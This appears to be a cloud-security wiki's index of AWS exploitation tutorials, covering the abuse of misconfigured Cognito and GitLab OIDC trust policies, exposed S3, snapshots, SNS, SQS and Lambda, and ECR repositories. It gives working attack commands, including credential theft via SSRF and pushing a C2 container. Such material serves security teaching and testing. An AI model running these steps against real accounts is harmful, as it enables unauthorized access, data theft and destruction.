      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Condition\": {\n                \"ForAnyValue:StringLike\": {\n                    \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n                }\n            }\n        }\n    ]\n}\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit_1","title":"Steps to Exploit","text":"

      In order to assume a role that has this vulnerable trust policy, follow these steps:

      1. First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.
      2. Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using USER_PASSWORD_AUTH.
        • Run the following command: aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <client id of the victim user pool> --auth-parameters USERNAME=<username>,PASSWORD=<password>
        • This will return an IdToken that will be used in the next step.
        • Note: The AccessToken is NOT the same as the IdToken.
      3. Run the following command: aws cognito-identity get-id --identity-pool-id <victim identity pool id> --logins '{\"cognito-idp.<region>.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
        • This will return an IdentityId that will be used in the next step.
      4. Run the following command: aws cognito-identity get-open-id-token --identity-id <IdToken from step 3> --logins '{\"cognito-idp.us-east-1.amazonaws.com/<victim user pool id>\":\"<IdToken from step 2>\"}'
        • Note: You MUST include the logins parameter, it is not optional.
        • This will return a JWT we will use in the next step.
      5. With this JWT, perform the following command: aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 4>

      By following these steps you should successfully generate IAM credentials for the vulnerable role.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/","title":"Exploiting Misconfigured GitLab OIDC AWS IAM Roles","text":"

      OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.

      In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.

      Warning

      In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#iam-role-misconfiguration-using-gitlab-oidc","title":"IAM role misconfiguration using GitLab OIDC","text":"

      According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"gitlab.com:sub\": \"project_path:mygroup/myproject:ref_type:branch:ref:main\"\n        }\n      }\n    }\n  ]\n}\n

      There are several important elements of this trust policy including:

      • Principal.Federated: This is the identity provider that authorizes the role assumption. It is important to note that while each AWS account will have its own identity provider, this is simply a stand-in for the global gitlab.com provider.
      • Action: This is the specific type of assume role being used. In this case it is sts:AssumeRoleWithWebIdentity.
      • gitlab.com:sub: This is an optional condition which restricts the group, project, or branch which is permitted to assume the role.

      The word \"optional\" from the previous sentence is why this attack is possible. There is no requirement to include a condition which restricts which specific group or project is permitted to assume a role. As a result of this anyone with access to gitlab.com could assume a role with this misconfiguration.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-to-exploit-this-misconfiguration","title":"How to exploit this misconfiguration","text":"

      In this situation we will assume a role that has the following trust policy:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Principal\": {\n                \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n            },\n            \"Condition\": {\n                \"StringEquals\": {\n                    \"gitlab.com:aud\": [\n                        \"https://gitlab.com\"\n                    ]\n                }\n            }\n        }\n    ]\n}\n

      Note

      In this example there is no condition on the sub field, restricting who is permitted to assume the role. This is the default trust policy that is set when creating a role through the AWS Console. More on this later.

      To exploit this misconfigured role, we must generate a JWT that can be used to authorize the sts:AssumeRoleWithWebIdentity invocation. To do this, create an account on gitlab.com or use an existing one.

      Next, create a project, and in this newly created project, create a file called .gitlab-ci.yml. This is the configuration file for GitLab CI. Add the following content to the .gitlab-ci.yml file:

      assume role:\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  script:\n    - echo ${GITLAB_OIDC_TOKEN} | base64 -w 0\n

      Warning

      The base64 -w 0 is required because GitLab will mask the output if you simply echo the GITLAB_OIDC_TOKEN.

      After adding this content to the .gitlab-ci.yml file, navigate to \"Build > Jobs\" on the left side, and click on the most recent CI job. Here you should see the OIDC token that we base64 encoded.

      From here, decode the base64 encoded blob (base64 -d) to get the original GITLAB_OIDC_TOKEN. This is the JWT you will use in the following sts:AssumeRoleWithWebIdentity call.

      Note

      You can optionally decode this value to see that the issuer is https://gitlab.com. This is what is being validated in the sts:AssumeRoleWithWebIdentity and because there is no condition on the sub field, we are able to assume the misconfigured role.

      nick.frichette@host ~ % aws sts assume-role-with-web-identity \\\n--role-arn <ARN of misconfigured role>\n--role-session-name <session name of your choosing>\n--web-identity-token  <JWT from previous step>\n{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIAEXAMPLE123EXAMPL\",\n        \"SecretAccessKey\": \"EXAMPLE123EXAMPLE123EXAMPLE123EXAMPLE123\"\n        \"SessionToken\": \"[..snip..]\",\n        \"Expiration\": \"2024-09-01T23:20:01+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"project_path:secres/runner-test:ref_type:branch:ref:main\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROAEXAMPLE123EXAMPL:blah\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vuln-gitlab-runner-role/blah\"\n    },\n    \"Provider\": \"arn:aws:iam::111111111111:oidc-provider/gitlab.com\",\n    \"Audience\": \"https://gitlab.com\"\n}\n

      You have successfully used a JWT generated from gitlab.com to assume a misconfigured IAM role!

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-the-aws-console-causes-this-misconfiguration-by-default","title":"How the AWS console causes this misconfiguration by default","text":"

      If you've been following along, you may wonder, \"Why would anyone make this misconfiguration? The GitLab documentation provides an example that is secure\". Misconfigurations occur for a wide variety of reasons and in a wide variety of scenarios, however this one may have a more clear cut reason.

      When creating IAM roles in the AWS console, developers can choose a trusted entity for Web identity. This will pre-populate the trust policy of the IAM role and generally makes things easier. However, when a developer chooses Web identity and selects gitlab.com as the identity provider, there is no requirement for a condition on the sub field. Using the AWS console to create the IAM role will generate a vulnerable role by defualt.

      Compare this behavior to GitHub Actions or Terraform Cloud. In both of these situations, AWS made changes to the AWS Console to require additional fields to mitigate this type of attack.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/","title":"Exploiting Public AWS Resources Programmatically - The Playbook","text":"
      • Tools mentioned in this article

        CloudShovel: A tool for scanning public or private AMIs for sensitive files and secrets

        coldsnap: A command line interface for Amazon EBS snapshots

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#exploiting-public-aws-resources-cli-attack-playbook","title":"Exploiting Public AWS Resources - CLI Attack Playbook","text":"

      The playbook shows how to exploit AWS resources that can be misconfigured to be publicly accessible. Think of it as a glossary of quick exploitation techniques that can be performed programmatically.

      All attacks are meant to be executed from an external environment where the attacker is ideally an administrator.

      The document is split in two categories: 1. Services and resources that can be found from a black-box perspective with little to reasonable effort 2. Services and resources that require information that can't be obtained through enumeration or brute-force

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#1-can-be-found-from-black-box-perspective","title":"1. Can be found from black-box perspective","text":"

      These services might be found from Awseye, Google Dorking, enumeration, searchable via AWS account ID and other sane methods.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#s3-buckets","title":"S3 Buckets","text":""},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#public-list-read-and-write","title":"Public List, Read and Write","text":"

      Misconfiguration:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadWrite\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"s3:ListBucket\",\n                \"s3:GetObject\",\n                \"s3:PutObject\"\n            ],\n            \"Resource\": [\n                \"arn:aws:s3:::example-bucket\",\n                \"arn:aws:s3:::example-bucket/*\"\n            ]\n        }\n    ]\n}\n
      bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# List bucket contents via HTTP\ncurl https://$bucket_name.s3.$region.amazonaws.com/\n\n# List bucket contents via CLI unauthenticated\n# --no-sign-request will perform the API call unauthenticated\naws --no-sign-request s3 ls s3://$bucket_name\n\n# List all objects including in subfolders unauthenticated\naws --no-sign-request s3api list-objects-v2 --bucket $bucket_name\n\nfile_name=\"target-file\"\n\n# Download file from bucket unauthenticated\naws --no-sign-request s3 cp s3://$bucket/$file_name .\n\n# Upload file unauthenticated\n# Files with same name are overwritten\necho \"hackingthe.cloud\" > $file_name.new\naws --no-sign-request s3 cp $file_name.new s3://$bucket/\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#authenticated-list-and-write","title":"Authenticated List and Write","text":"

      Misconfiguration: - ACL misconfigured at object level so that only authenticated identities can access the file

      bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# This will not work anymore\ncurl https://$bucket_name.s3.$region.amazonaws.com/\n\n# List bucket contents via authenticated CLI\naws s3 ls s3://$bucket_name\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#s3-static-website-list-unauthenticated","title":"S3 Static Website List Unauthenticated","text":"

      Misconfiguration: - Static website allowing bucket to be listed

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadGetIndex\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": [\n                \"s3:ListBucket\",\n                \"s3:GetObject\"\n            ],\n            \"Resource\": [\n                \"arn:aws:s3:::example-bucket\",\n                \"arn:aws:s3:::example-bucket/*\"\n            ]\n        }\n    ]\n}\n
      bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# This will return the index.html\ncurl https://$bucket_name.s3-website.$region.amazonaws.com\n\n# Removing the '-website' from the URL will list the files\n# This works because the bucket is misconfigured\ncurl https://$bucket_name.s3.$region.amazonaws.com\n\n# List bucket contents via CLI authenticated or unauthenticated\naws s3 ls s3://$bucket_name\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#amis","title":"AMIs","text":"
      # Find the target AMI\n# Mention '--include-deprecated' to make sure you get all results\n# You'll have to search across every region since AMI is region dependent\n\n# Search by owner account\naws --region $region ec2 describe-images --owner 123456789012 --include-deprecated\n\n# Search by description or title\naws ec2 describe-images --filter Name=\"description\",Values=\"*hackingthe.cloud*\" --include-deprecated\naws ec2 describe-images --filter Name=\"name\",Values=\"*hackingthe.cloud*\" --include-deprecated\n\n# Automatically scan the AMI with cloudshovel\n# --bucket will specify where to save the files\n# This will not work if multiple cloudshovel is executed\n# multiple times in the same environment\ncloudshovel --region $region --bucket example-bucket ami-example1234567890\n\n# Manual approach\n# Start an EC2 instance based on the target AMI and save\n# the instance ID returned\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# If the command fails then you might have to use another instance-type like c5.large\n# You can specify '--no-associate-public-ip-address' if you don't want the instance\n# to have a public IP, but you'll need a VPC Endpoint to connect to it via\n# ec2-isntance-connect\naws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --image-id ami-example1234567890 \n\n# Try to connect to it using EC2 Instance Connect. The instance\naws ec2-instance-connect ssh --os-user root --instance-id i-example1234567890\n# Search for files and secrets once connected\n# If the command fails then most likely you'll have to \n# use the different method to access the AMI\n# 1. You can use cloudshovel\n# 2. Make an EBS Snapshot of the volume(s) and download them with coldsnap\n\n# When you're done you can terminate the instance\naws ec2 terminate-instances --instance-ids $instance_id\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ebs-snapshots","title":"EBS Snapshots","text":"
      region=region\n\n# Search by AWS account ID\naws ec2 describe-snapshots --owner-ids 123456789012\n\n# Search by description\naws ec2 describe-snapshots --filter \"Name=description,Values=*hackingthe.cloud*\"\n\n# Create volume from snapshot\n# The availability zone must be the same as the instance we \n# will create shortly in order to attach the new volume there\naws ec2 create-volume --availability-zone $region'a' --snapshot-id snap-example1234567890\n\n# Alternatively you can try to copy the Snapshot and\n# operate with ti from there\n# aws ec2 copy-snapshot --source-snapshot-id snap-example1234567890 --source-region $region\n\n# Check if status is 'ok'\n# Volume id is from the 'create-volume' API call\naws ec2 describe-volume-status --volume-id $volume_id\n\n# Start a new EC2 instance in the same Availability Zone\n# The Image Id is for an Amazon Linux image and has\n# nothing to do with the public AMI from the previous section\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\naws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --placement AvailabilityZone=$region'a' --image-id ami-example1234567890\n\n# Attach volume to your instance and specify as device\n# anything from /dev/sdf to /dev/sdp (you can use /dev/sdf)\n# --instance-id is from 'run-instances' API call\naws ec2 attach-volume --volume-id $volume_id --instance-id $instance_id --device /dev/sdf\n\n# Connect to the instance\naws ec2-instance-connect ssh --os-user root --instance-id $instance_id\n# Mount the volume\n# lsblk\n# mount /dev/sdf1 /mnt\n# Search the volume for files and secrets \n\n# Terminate the instance when you're done\naws ec2 terminate-instances --instance-ids $instance_id\n\n# Delete the volume created\naws ec2 delete-volume --volume-id $volume_id\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#rds-snapshots","title":"RDS Snapshots","text":"
      # Depending on the engine of the target snapshot, you'll have to install\n# the tool for connecting to the RDS server\n# We'll use MySQL in this example \n\n# Search based on AWS account id using jq\n# because there is no native way to do this\n# Copy the DBSnapshotIdentifier\naws rds describe-db-snapshots --include-public | jq '.DBSnapshots[] | select(.DBSnapshotArn | contains(\"123456789012:\"))'\n\n# Restore Snapshot\n# Use the DBSnapshotIdentifier from above and create\n# a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# $db_instance_identifier should be a new custom name for\n# the new db \naws rds restore-db-instance-from-db-snapshot --db-instance-identifier $db_instance_identifier \\\n    --db-snapshot-identifier $db_snapshot_identifier \\\n    --vpc-security-group-ids sg-example1234567890 --publicly-accessible --no-multi-az\n\n# This will take around 5-15 minutes so you can run this\n# command to know when the database was restored\n# The DB Instance Identifier should be the same, but you\n# can get it from the output of the previous command\naws rds wait db-instance-available --db-instance-identifier $db_instance_identifier\n\n# Change login password\n# In the response you will also see the RDS\n# endpoint address. Copy that for connecting\n# to the instance. The username for login can\n# be found in the same response under \"MasterUsername\"\naws rds modify-db-instance \\\n    --db-instance-identifier $db_instance_identifier \\\n    --master-user-password MyNewPassword123! \\\n    --apply-immediately\n\n# Connect to the database\nmysql -h $url_db -u $username --skip-ssl -p\n# show databases;\n# use $database;\n# show tables;\n\n# Delete RDS instance\naws rds delete-db-instance --db-instance-identifier $db_identifier --skip-final-snapshot\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#iam-roles","title":"IAM Roles","text":"

      There are roles that can be assumed using various 3rd-party technologies if the role's trust policy is misconfigured.

      Documented attacks on bad OIDC configurations: - GitHub - Terraform Cloud - GitLab

      While the OIDC misconfigurations can be exploited from the internet, the attacks are more complex than what this document aims to help with. Please reefer to the original or related articles around the aforementioned attacks.

      # Assuming a public role\nrole_name=example-role\n# Try to assume role\naws sts assume-role \\\n    --role-arn arn:aws:iam::123456789012:role/$role_name \\\n    --role-session-name any-name\n\n# Configure returned credentials\naws --profile any-name configure set aws_access_key_id $access_key_id\naws --profile any-name configure set aws_secret_access_key $secret_access_key\naws --profile any-name configure set aws_session_token $session_token\n\n# Validate credentials\naws --profile any-name sts get-caller-identity\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ssm-documents","title":"SSM Documents","text":"
      # Search by name prefix\naws ssm list-documents --filters \"Key=Owner,Values=Public\" \"Key=Name,Values=hackingthe.cloud\"\n\n# Search by owner with jq\n# Takes 15-30 seconds to execute\n# Copy the value from the \"Name\" field\naws ssm list-documents --filters \"Key=Owner,Values=Public\" | jq '.DocumentIdentifiers[] | select(.Owner | contains(\"123456789012\"))'\n\n# List document versions\n# Different versions can have different\n# secrets or details\naws list-document-versions --name $document_name\n\n# Get document details\n# If the document has more versions you can use --document-version $number\n# to get details about that version\n# If version is not specified then the default one is used\naws ssm describe-document --name $document_name\n\n# Get the actual content of the document\n# Use --document-version $number if multiple versions\naws ssm get-document --name $document_name\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#cloudfront","title":"CloudFront","text":"

      If the CloudFront distribution has as origin a misconfigured S3 bucket, then even if the bucket is configured to block public access, it might be possible to list the bucket by accessing the distribution's URL. In order for this to work the bucket policy needs to allow \"s3:ListBucket\" for the CloudFront's Origin Access Identity (OAI). Most likely you will not encounter this outside a lab.

      # Try to list the bucket (Should not work)\n# You won't know the bucket if you only have the distribution's URL\naws s3 ls s3://example-bucket\n\n# Access the distribution and list the files\ncurl https://example1234567.cloudfront.net\n\n# Read sensitive files\ncurl https://example1234567.cloudfront.net/$file\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#2-cant-be-found-from-a-black-box-perspective","title":"2. Can't be found from a black-box perspective","text":"

      These services can't be identified from a purely black-box perspective (exception the Public ECR), but they can be misconfigured so that they can be accessed from any external AWS account. For most of these services you need additional information that most likely you'll not find from the internet, brute-forcing or similar techniques.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#sns-topics","title":"SNS Topics","text":"
      # List topic subscribers\n# This will return the subscribers which can be\n# email addresses or other services like SQS queues\n# that might be public as well\naws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:$region:123456789012:example-topic\n\n# Get topic attributes\naws sns get-topic-attributes --topic-arn arn:aws:sns:$region:123456789012:example-topic\n\n# Subscribe to the topic\n# If you subscribe you will get a confirmation\n# email with a link you have to access\n# After confirming you will receive any messages sent\n# to the topic\naws sns subscribe --topic-arn arn:aws:sns:$region:123456789012:example-topic \\\n        --protocol email \\\n        --notification-endpoint $email_address\n\n\n# Publish to topic\n# All subscribers will receive this message\n# This can be leveraged to perform phishing attacks\naws sns publish --topic-arn arn:aws:sns:$region:123456789012:example-topic --message \"This is the email body\" --subject \"This is the email subject\"\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#sqs-queues","title":"SQS Queues","text":"
      # Send message\naws sqs send-message \\\n    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \\\n    --message-body \"Your message\"\n\n# Receive messages\n# This will remove the message from the queue\naws sqs receive-message --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue\n\n# Delete message\n# Message will be deleted anyway when\n# running receive-message in default implementations\naws sqs delete-message \\\n    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \\\n    --receipt-handle $big_string_from_receive_message_call\n\n# This will delete all items in the queue\naws sqs purge-queue --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#private-api-gateways","title":"Private API Gateways","text":"

      A private API Gateway is private in the sens that it can't be accessed from outside the AWS's network. People can mistake a private API Gateway as being accessible only from their AWS account, which is a common misconception.

      # Example API Gateway details\napi_id=example123\nregion=eu-central-1\nstage=prod\nendpoint=fetch\n\n# Try to access the API gateway from your host/VM\n# It should not work\ncurl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint\nnslookup $api_id.execute-api.$region.amazonaws.com\n\n# We'll start an EC2 instance and perform the # request from there\n# The instance must be in the same region as the target API\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# The AMI is for the latest Amazon Linux image at the moment of writing this article\n# Save the instance ID for later\naws --region $region ec2 run-instances --security-group-ids sg-example1234567 --instance-type t2.micro --image-id ami-0b5673b5f6e8f7fa7\n\n# Check if you have VPC endpoint com.amazonaws.$region.execute-api\naws --region $region ec2 describe-vpc-endpoints\n\n# Skip this if the VPC endpoint already exist\n# Create the VPC Endpoint\n# Should take around 1-2 minutes to be available\n# Run either 'aws ec2 describe-instances' or\n# 'aws ec2 describe-vpcs' or 'aws-describe-subnets' in order\n# to get the information about the VPC id along with the subnet ids\n# You have to use the same VPC as the one of the previous EC2\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\naws ec2 create-vpc-endpoint \\\n    --vpc-id vpc-example1234567 \\\n    --vpc-endpoint-type Interface \\\n    --service-name com.amazonaws.$region.execute-api \\\n    --subnet-ids subnet-example1234567,subnet-example1234567,subnet-example1234567 \\\n    --security-group-ids sg-example1234567 \\\n    --private-dns-enabled\n\n# Connect to the instance\naws ec2-instance-connect ssh --os-user root --instance-id $instance_id\n
      # Now we should be able to resolve and invoke the private API Gateway\n# Check DNS resolution\nnslookup $api_id.execute-api.$region.amazonaws.com\n\n# Invoke the API\ncurl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint\n

      Delete the instance and the VPC Endpoint when you're done. VPC Endpoints can get expensive.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#lambda-functions","title":"Lambda Functions","text":"
      function_name=example-function\n# Invoke function via AWS CLI\n# Because the function is from an external account, the\n# whole ARN must be specified\n# You can invoke a certain version of the function by adding its number at the end\n# e.g. arn:aws:lambda:$region:123456789012:function:$function_name:1\naws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \\\n    --payload '<input>'\n\n# If the function is vulnerable to SSRF you might\n# be able to exfiltrate the access credentials by reading\n# the contents of /proc/self/environ\n# For this you need to specify --cli-binary-format\n# This is can be used as a persistence technique\naws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \\\n    --payload '{\"queryStringParameters\":{\"url\":\"file:///proc/self/environ\"}}' \\                                               \n    --cli-binary-format raw-in-base64-out output.txt\n\n# Invoke the function by its URL\n# Just because the Lambda Function can be invoked\n# by anyone, doesn't mean it will have a public URL\n# There is no known way to reverse the function URL\n# to get the function ARN or vice-versa\ncurl https://examplexample12345678901234567890exa.lambda-url.$region.on.aws/?url=file:///proc/self/environ > output.txt\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ecr-repositories","title":"ECR Repositories","text":""},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#private-repository-access","title":"Private Repository Access","text":"

      Even if the repository is private, it can be misconfigured so that it allows any other AWS account to access it.

      # Login first\n# This command might not work on Windows\naws ecr get-login-password | docker login \\\n    --username AWS \\\n    --password-stdin 123456789012.dkr.ecr.$region.amazonaws.com/example-private\n\n# Pull image\ndocker pull 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\n\n# Inspect image for secrets\n# You can search the image in multiple ways\ndocker history 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest --no-trunc\ndocker inspect 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\ndocker run -it 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest cat /etc/environment\n\n# You can even push a new version of the image\n# if the ECR is that badly misconfigured\ndocker push 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#public-repository-access","title":"Public Repository Access","text":"

      This is the case where the company created a public repository instead of a private one. Compared with the other services from section 3, this one can be found from a black-box perspective.

      # You can find the repository by searching it\n# https://gallery.ecr.aws/search?searchTerm=hackingthe.cloud\n\n# Login\n# The public ECR is available only in us-east-1\naws ecr-public get-login-password --region us-east-1 | docker login \\\n    --username AWS \\\n    --password-stdin public.ecr.aws/id123456/example-public\n\n\n# Pull public image\ndocker pull public.ecr.aws/id123456/example-public\n\n# Inspect image for secrets\n# You can search the image in multiple ways\ndocker history public.ecr.aws/id123456/example-public --no-trunc\ndocker inspect public.ecr.aws/id123456/example-public\ndocker run -it 1public.ecr.aws/id123456/example-public cat /etc/environment\n
      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#call-for-contributions","title":"Call for contributions","text":"

      Do you know other relevant services that can be misconfigured so that they grant read, write or execute permissions over their resources? Feel free to add or suggest them.

      One service that should be included in this document is AWS Cognito. However, recently AWS performed some changes over how Cognito can be configured and further analysis is required before I can vouch for the attacks against it.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"

      AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.

      Note

      Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"

      A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the Action element is ecr:*). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.

      Note

      When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls ecr:GetAuthorizationToken to provide the needed authorization.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"

      Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n

      This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

      aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

      Next, we will pull the container with the following command.

      docker pull <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      We can now loot this container for source code or other valuable information.

      "},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"

      Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.

      Info

      As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a Principal being set to *. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.

      As an example, take the following misconfigured resource policy for an ECR private repository.

      {\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n

      This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.

      aws ecr get-login-password --region <region> | docker login --username AWS --password-stdin <account ID>.dkr.ecr.<region>.amazonaws.com\n

      Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.

      docker tag ubuntu:latest <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      And finally we push the container into the repository.

      docker push <account ID>.dkr.ecr.<region>.amazonaws.com/<repository name>:vulnerable\n

      Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.

